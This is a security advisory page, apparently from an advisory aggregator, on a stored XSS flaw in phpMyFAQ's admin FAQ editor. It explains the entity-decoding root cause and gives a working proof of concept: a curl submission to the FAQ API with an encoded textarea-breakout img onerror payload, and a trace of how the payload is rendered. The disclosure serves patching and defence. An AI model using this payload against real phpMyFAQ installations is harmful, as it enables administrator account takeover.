High

phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission

  • Disclosed: 24.09.2026
  • Updated: 11.10.2026 10:22

Summary

A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.

Details

Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)

php
$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
    $answer = trim(html_entity_decode((string) $answer));
}

Root cause:

Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., &lt;script&gt;).

When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.

Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)

twig
<textarea id="editor" name="answer" class="form-control" rows="7"
          placeholder="{{ 'msgAnswer' | translate }}"
>{{ faqData['content'] | raw }}</textarea>

The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:

php
$this->faq->getFaq($faqId, null, true);
$faqData = $this->faq->faqRecord; // Raw content from DB

Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.

PoC

Prerequisites:

  • main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions)
  • records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs)
  • At least one FAQ category must exist

Step 1: Inject XSS payload as unauthenticated guest

bash
curl -X POST https://TARGET/api/faq/create \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Legitimate User",
    "email": "user@example.com",
    "question": "How to configure SMTP settings?",
    "answer": "&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;",
    "lang": "en",
    "keywords": "smtp email",
    "rubrik": ["1"],
    "captcha": "<valid-captcha-or-empty-if-disabled>"
  }'

Response: {"success":"Thank you for your suggestion!"}

Processing trace:

  1. Input answer: &lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;
  2. filterSanitizeString() → strip_tags() finds no actual <tag> syntax → string passes through unchanged
  3. html_entity_decode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea>
  4. Stored in database as raw executable HTML

Step 2: Admin triggers XSS by reviewing the submitted FAQ

When an administrator navigates to edit the submitted FAQ entry:

GET /admin/faq/edit/{faqId}/{lang}

The admin template renders:

html
<textarea id="editor" name="answer" class="form-control" rows="7"
          placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>

The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.

<img width="1387" height="562" alt="admin stored xss alert poc" src="https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a" /> <img width="1393" height="805" alt="admin stored xss poc" src="https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333" />

Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).

Impact

  • Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery
  • Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration
  • No special privileges required — default configuration allows guest FAQ submissions (records.allowNewFaqsForGuests = true)
  • Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package phpmyfaq/phpmyfaq < 4.2.0-alpha 4.2.0-alpha
Composer package thorsten/phpmyfaq < 4.2.0-alpha 4.2.0-alpha

References

CVSS score 8.2/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Disclosed
24.09.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-pgwp-vc7q-cvj3 - CC BY 4.0

Vulnerability history: thorsten/phpmyfaq

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (112) in the archive
Total entries
112
First → latest
05.2022 09.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 8
  • High 36
  • Medium 67
  • Low 1

Disclosures per year

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Severity:
  1. High · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission this entry
    High · 8.2 CVE-2026-56736 < 4.2.0-alpha 4.2.0-alpha
  3. High · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  4. High · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  5. High · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  6. High · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  7. High · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  8. High · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  9. High · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  10. High · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  11. Critical · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  12. Critical · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  13. High · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  14. High · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  15. High · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  16. High · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  17. Critical · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  18. Critical · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  19. High · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  20. High · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
  21. Critical · 9.8 CVE-2023-0311 < 3.1.10 3.1.10
Show more (4) Showing 40 of 44

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.